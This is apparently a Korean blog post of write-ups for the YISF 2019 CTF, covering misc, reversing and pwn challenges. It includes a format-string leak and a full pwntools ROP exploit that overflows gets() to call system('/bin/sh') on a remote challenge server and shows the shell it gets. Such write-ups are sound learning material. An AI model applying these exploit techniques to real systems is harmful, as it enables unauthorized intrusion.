misc 50
문제 설명대로 룰을 확인
하면 된다.
misc 100
해당 nc 서버로 접속하면, 3개의 직선의 방정식을 준다.
이 방정식으로 만들어진 삼각형의 넓이를 구하는 파이썬 코드를 작성하면 플래그를 얻을 수 있다.
from pwn import *
from sympy import Symbol, solve
import re
x = Symbol('x')
y = Symbol('y')
r = remote("218.158.141.199",24763)
r.recvuntil("<Quiz Start>")
def recv_step(step):
r.recvuntil("Step : " + str(step))
r.recvuntil("\n\n")
log.info("step : " + str(step))
def recv_num():
num1 = r.recvuntil("x")[:-1].replace(" ", "")
num2 = r.recvuntil("y")[2:-1].replace(" ", "")
num3 = r.recvuntil("\n")[2:].replace(" ", "")
return int(num1),int(num2),int(num3)
def calc(eq1,eq2,eq3):
eq1 = (eq1[0])*x + (eq1[1])*y - (eq1[2])
eq2 = (eq2[0])*x + (eq2[1])*y - (eq2[2])
eq3 = (eq3[0])*x + (eq3[1])*y - (eq3[2])
num1 = solve((eq1,eq2))
num2 = solve((eq2,eq3))
num3 = solve((eq1,eq3))
return num1,num2,num3
for i in range(0,100):
recv_step(i+1)
eq1 = recv_num()
eq2 = recv_num()
eq3 = recv_num()
print eq1,eq2,eq3
result = calc(eq1,eq2,eq3)
vertex1 = result[0]
vertex2 = result[1]
vertex3 = result[2]
vertex2[x] -= vertex1[x]
vertex2[y] -= vertex1[y]
vertex3[x] -= vertex1[x]
vertex3[y] -= vertex1[y]
finsh = abs((vertex2[x] * vertex3[y]) - (vertex2[y] * vertex3[x]))
tmp = float(finsh)
q = tmp / 2
r.recvuntil("Input : ")
r.sendline(str(q))
r.interactive()
수식을 받아서, sympy 모듈로 해당 수식을 삼각형 넓이 구하는 공식으로 넓이를 구했다.
[*] step : 95
(9, -14, 987) (-43, -31, -17) (-77, -76, -809)
[*] step : 96
(9, -32, -881) (25, -1, -250) (34, -33, -1922)
[*] step : 97
(-31, -63, -1300) (-37, -11, 310) (43, -41, 2060)
[*] step : 98
(-17, -3, 11) (-45, -31, 375) (3, -11, -417)
[*] step : 99
(3, -14, 460) (17, -44, 1476) (10, -29, 1021)
[*] step : 100
(-26, -55, -542) (58, -5, -834) (8, -15, 486)
[*] Switching to interactive mode
[0] Correct
YISF{Mathematical_ability_i5_n0t_ru5ty}
[*] Got EOF while reading in interactive
$
rev 50
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *path; // ST20_8
char *filename; // [rsp+18h] [rbp-A8h]
char buf; // [rsp+30h] [rbp-90h]
unsigned __int64 v7; // [rsp+B8h] [rbp-8h]
v7 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
filename = strrchr(*a2, 47) + 1;
path = getcwd(&buf, 0x80uLL);
printf("path : %s\nfilename : %s\n\n", path, filename, a2);
sub_B2F(path, filename);
if ( dword_20240C == 1 )
{
if ( !strncmp(filename + 6, "flag", 4uLL) )
{
++dword_20240C;
sub_DE7();
}
sub_D64();
}
return 0LL;
}
filename이라는 변수에 파일 이름을 넣어주고, path라는 변수의 파일의 위치를 넣어준다.
그리고 sub_B2F함수를 호출하는데, 여기서 path와 filename을 인자로 넘겨준다.
if ( !strncmp(path + 6, "YISF", 4uLL) )
{
puts("\nHmm...?\n");
if ( !strncmp(path + 11, "TOP_SECRET", 0xAuLL) )
{
puts("Please enter your ID and Password...\n");
printf("ID : ", "TOP_SECRET", filename);
fgets(id, 64, stdin);
printf("PW : ", 64LL);
fgets(password, 64, stdin);
strcpy(dest, password);
if ( strncmp(id, aTheWorldBestPr, 25uLL) || strncmp(password, aQwe123, 6uLL) )
{
puts("\nYou don't have permission!!\n");
exit(0);
}
puts("\nsuccess!!\n");
++dword_20240C;
}
else
{
puts("Invalid Directory Name\n");
}
}
else
{
puts("Ivalid Directory Name\n");
}
검사하는 루틴은 다음과 같다.
path+6에 YISF라는 문자열이 있는지 검사한다.
path+11에 TOP_SECRET이라는 문자열이 있는지 검사한다.
ID와 PW를 aTheWordldBestPr변수에 있는 내용과 aQwe123변수에 있는 내용과 검사한다.
이렇게 하려면 현재 경로를 /aaaa/YISF/TOP_SECRET
로 설정해주고, TOP_SECRET 디렉토리에 파일을 넣어주면 된다.
이렇게 모든 검사루틴을 우회하면, fake flag가 뜬다.
왜냐하면
if ( dword_20240C == 1 )
{
if ( !strncmp(filename + 6, "flag", 4uLL) )
{
++dword_20240C;
sub_DE7();
}
sub_D64();
}
위 코드의 조건을 맞추지 못하였기때문이다. dword_20240C라는 전역변수는 ++되어 현재 1이므로, 아래 strncmp부분만 맞춰주면 된다.
따라서 파일 이름을 aaaaaaflag로 만들어주고, 프로그램을 다시 실행하고, 위에서 설명한 모든 조건을 맞춰준다.
root@ubuntu:/aaaa/YISF/TOP_SECRET# clear
root@ubuntu:/aaaa/YISF/TOP_SECRET# ./aaaaaaflag
path : /aaaa/YISF/TOP_SECRET
filename : aaaaaaflag
Hmm...?
Please enter your ID and Password...
ID : The_World_Best_Programmer
PW : qwe123
success!!
YISF{5252~~_I_6eliev3d!!!}
플래그를 획득할 수 있다.
pwn 50
주어진 SSH 서버로 접속해서 문제를 해결하기 전에, 로컬서버에서 환경을 구축하였다.
-rw-rw-r-- 1 juntae juntae 7 Aug 9 08:47 .secret
이렇게 .secret파일을 만들어두었다.
juntae@ubuntu:~/ctf/yisf_2019/pwn50$ cat .secret
123123
.secret파일 안에는 123123이라는 값을 적어두었다.
__int64 sub_400D3D()
{
unsigned int *v0; // ST08_8
unsigned int check_money; // ST04_4
__int64 result; // rax
char v3; // [rsp+10h] [rbp-40h]
char name; // [rsp+30h] [rbp-20h]
unsigned __int64 canary; // [rsp+48h] [rbp-8h]
canary = __readfsqword(0x28u);
v0 = open(".secret", "r");
sub_411320(&v3, 20, v0);
check_money = sub_40DEF0(&v3);
close(v0);
printf("What is your name?? : ", 20LL);
scanf("%s", &name);
printf(&name);
result = check_money;
if ( __readfsqword(0x28u) != canary )
stack_smash();
return result;
}
해당 함수에서 printf에서 FSB취약점이 발생한다.
이 부분에서 %p를 계속 입력하면....
juntae@ubuntu:~/ctf/yisf_2019/pwn50$ c
juntae@ubuntu:~/ctf/yisf_2019/pwn50$ ./50
What is your name?? : %p%p%p%p%p%p%p%p%p%p
0x10x6d7ed0(nil)(nil)(nil)0x1e0f3000000000x13b2b300xa3332313332310x4141190x6d5360
*********************Introduce*********************
* Hello!!! Welcome to the COOKIE MINE!!! *
* If you want to earn the cookies? Type 1! *
* Or If you want to sell the cookies? Type 2! *
* earn cookie : +? / sell cookie : -? *
* If you want to exit this mine... Type 3! *
***************************************************
다음과 같이 나오는데, xa333231333231 이부분이 우리가 입력한 .secret파일의 값이라는것을 알 수 있다.
if ( save_money == check_money )
{
puts("poor man...T.T I will give a little present", money);
system("cat flag");
exit(0);
}
다음 조건에 의해서 현재 돈과 check_money값을 맞춰주면 되는데 check_money값은 .secret파일의 값과 같다. 따라서 FSB로 얻은 .secret의 값을 넘기면 플래그를 볼 수 있다.
$ ./50
What is your name?? : %p%p%p%p%p%p%p%p%p
0x10x6d7ed0(nil)(nil)(nil)0xffff8000000000000x1b2bb200x38363732332d0x414119
*********************Introduce*********************
* Hello!!! Welcome to the COOKIE MINE!!! *
* If you want to earn the cookies? Type 1! *
* Or If you want to sell the cookies? Type 2! *
* earn cookie : +? / sell cookie : -? *
* If you want to exit this mine... Type 3! *
***************************************************
*********Pocket*********
cookie : 0
money : 0
************************
[SYSTEM] : What do you want to do?
1) earn 2) sell 3) exit
[>]
SSH서버에서 %p를 넣었을때 부분이다.
0x38363732332d이 secret파일의 값임을 알 수 있다.
해당부분은 32768임을 알 수 있다.
따라서 argv[1]에 32768을 넘기고, 1번메뉴로 쿠키를 얻고, 2번 메뉴를 이용하여 쿠키를 팔면 된다.
[SYSTEM] : selling cookies... *********Pocket********* cookie : 0 money : -32768 ************************ poor man...T.T I will give a little present YISF{FSB?_1_L1k3_1NT3G3R_0V3rFl0w} $
pwn 100
int register()
{
int v0; // ebx
int v1; // eax
char s[8]; // [rsp+0h] [rbp-30h]
__int64 v4; // [rsp+8h] [rbp-28h]
char select; // [rsp+1Fh] [rbp-11h]
*s = 0LL;
v4 = 0LL;
printf("\x1B[H\x1B[J", 0LL, 0LL);
puts("REGISTER PAGE");
printf("Give me your id!! : ");
__isoc99_scanf("%7s%*c", &id);
printf("Give me your password!! : ", &id);
__isoc99_scanf("%15s%*c", password);
printf("Retype your password!! : ", password);
__isoc99_scanf("%15s%*c", s);
printf("Give me your nickname!! : ", s);
__isoc99_scanf("%15s%*c", &nickname);
printf("submit? (y/n) : ", &nickname);
__isoc99_scanf(" %c", &select);
if ( select != 'y' )
exit(0);
if ( sub_400AF5(&id, 0x602018LL, 7, 7) == 1
|| (v0 = strlen(s), v1 = strlen(password), sub_400AF5(password, s, v1, v0) != 1) )
{
puts("REGISTER FAIL");
exit(0);
}
puts("REGISTER COMPLETE\nInsert Your Bio");
__isoc99_scanf("%s", &bio);
return login();
}
register 함수에서 회원가입을 한 후, Bio를입력받는데 %s를 사용하기때문에 BSS영역의 변수를 덮을 수 있다.
덮을 수 있는 변수는 id,password,nickname,unk_602060 등 이다.
signed __int64 sub_400AC1()
{
signed __int64 result; // rax
result = sub_400AF5(&unk_602080, a30541989yisfru, 8, 8);
if ( result == 1 )
dword_602030 = 1;
return result;
}
BSS영역의 변수를 덮어 해당 루틴을 만족하면 dword_602030의 값이 1로 바뀌고, root메뉴를 사용할 수 있다.
__int64 sub_400F2D()
{
char s; // [rsp+0h] [rbp-70h]
int i; // [rsp+6Ch] [rbp-4h]
printf("\x1B[H\x1B[J");
puts("PERMISSION VERIFIED\nLOGIN COMPLETE Have a nice day");
puts("<<All conversations are sent to the administrator.>>\n");
for ( i = 1; i <= 32; ++i )
{
memset(&s, 0, 0x64uLL);
printf("%s : ", &nickname);
gets(&s);
puts("root : IAMROOT\n");
}
puts("root : bye");
return sub_4009C7("root : bye");
}
루트메뉴에서 gets함수를 이용하여 반복문을 계속 돈다.
여기서 gets함수를 이용하기때문에 ret을 변조할 수 있다.
해당 문제에서 system함수의 plt가 남아있는것을 확인해서 BSS영역에다가 /bin/sh\x00을 적어 둔 후, 해당 BSS영역의 주소를 system함수의 인자로 넘겨주었다.
그리고 변조된 ret을 이용하려면 반복문이 종료되어야 하므로, i의 값을 32으로 변조해주었다.
from pwn import *
libc = ELF("./libc.so.6")
e = ELF("./100")
#r = process("./100")
r = remote("218.158.141.182",7853)
asdf = "asdf"
r.sendlineafter("$ ","1")
r.sendlineafter("id!! : ",asdf)
r.sendlineafter("password!! : ",asdf)
r.sendlineafter("password!! : ",asdf)
r.sendlineafter("nickname!! : ",asdf)
r.sendlineafter("(y/n) : ","y")
r.sendlineafter("Bio\n","A"*0x81)
r.sendlineafter("ID : ","A"*23)
pr = 0x401313
bss = 0x602040
payload = "A"*0x63
payload += p32(0)
payload += "A"*5
payload += p32(32)
payload += "A"*(0x78-len(payload))
payload += p64(pr)
payload += p64(bss)
payload += p64(e.plt["gets"])
payload += p64(pr)
payload += p64(bss)
payload += p64(e.plt["system"])
r.sendlineafter(" : ",payload)
r.sendline("/bin/sh\x00")
r.interactive()
juntae@ubuntu:~/ctf/yisf_2019/pwn100$ p ex.py
[*] '/home/juntae/ctf/yisf_2019/pwn100/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/juntae/ctf/yisf_2019/pwn100/100'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 218.158.141.182 on port 7853: Done
[*] Switching to interactive mode
LOGIN COMPLETE Have a nice day
<<All conversations are sent to the administrator.>>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA : root : IAMROOT
root : bye
$ cat flag.txt
YISF{Iam_not_root_BUT_IAM_fakeroot!}
$
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[Timisoara CTF] Timisoara CTF Quals ( write-up ) (0) | 2019.09.22 |
---|---|
[BOB CTF] BOB CTF ( write-up ) (0) | 2019.08.27 |
[hackingcamp] magic ( write-up ) (0) | 2019.08.25 |
[hackingcamp] campnote ( write-up ) (0) | 2019.08.25 |
[hackingcamp] bofforever ( write-up ) (0) | 2019.08.25 |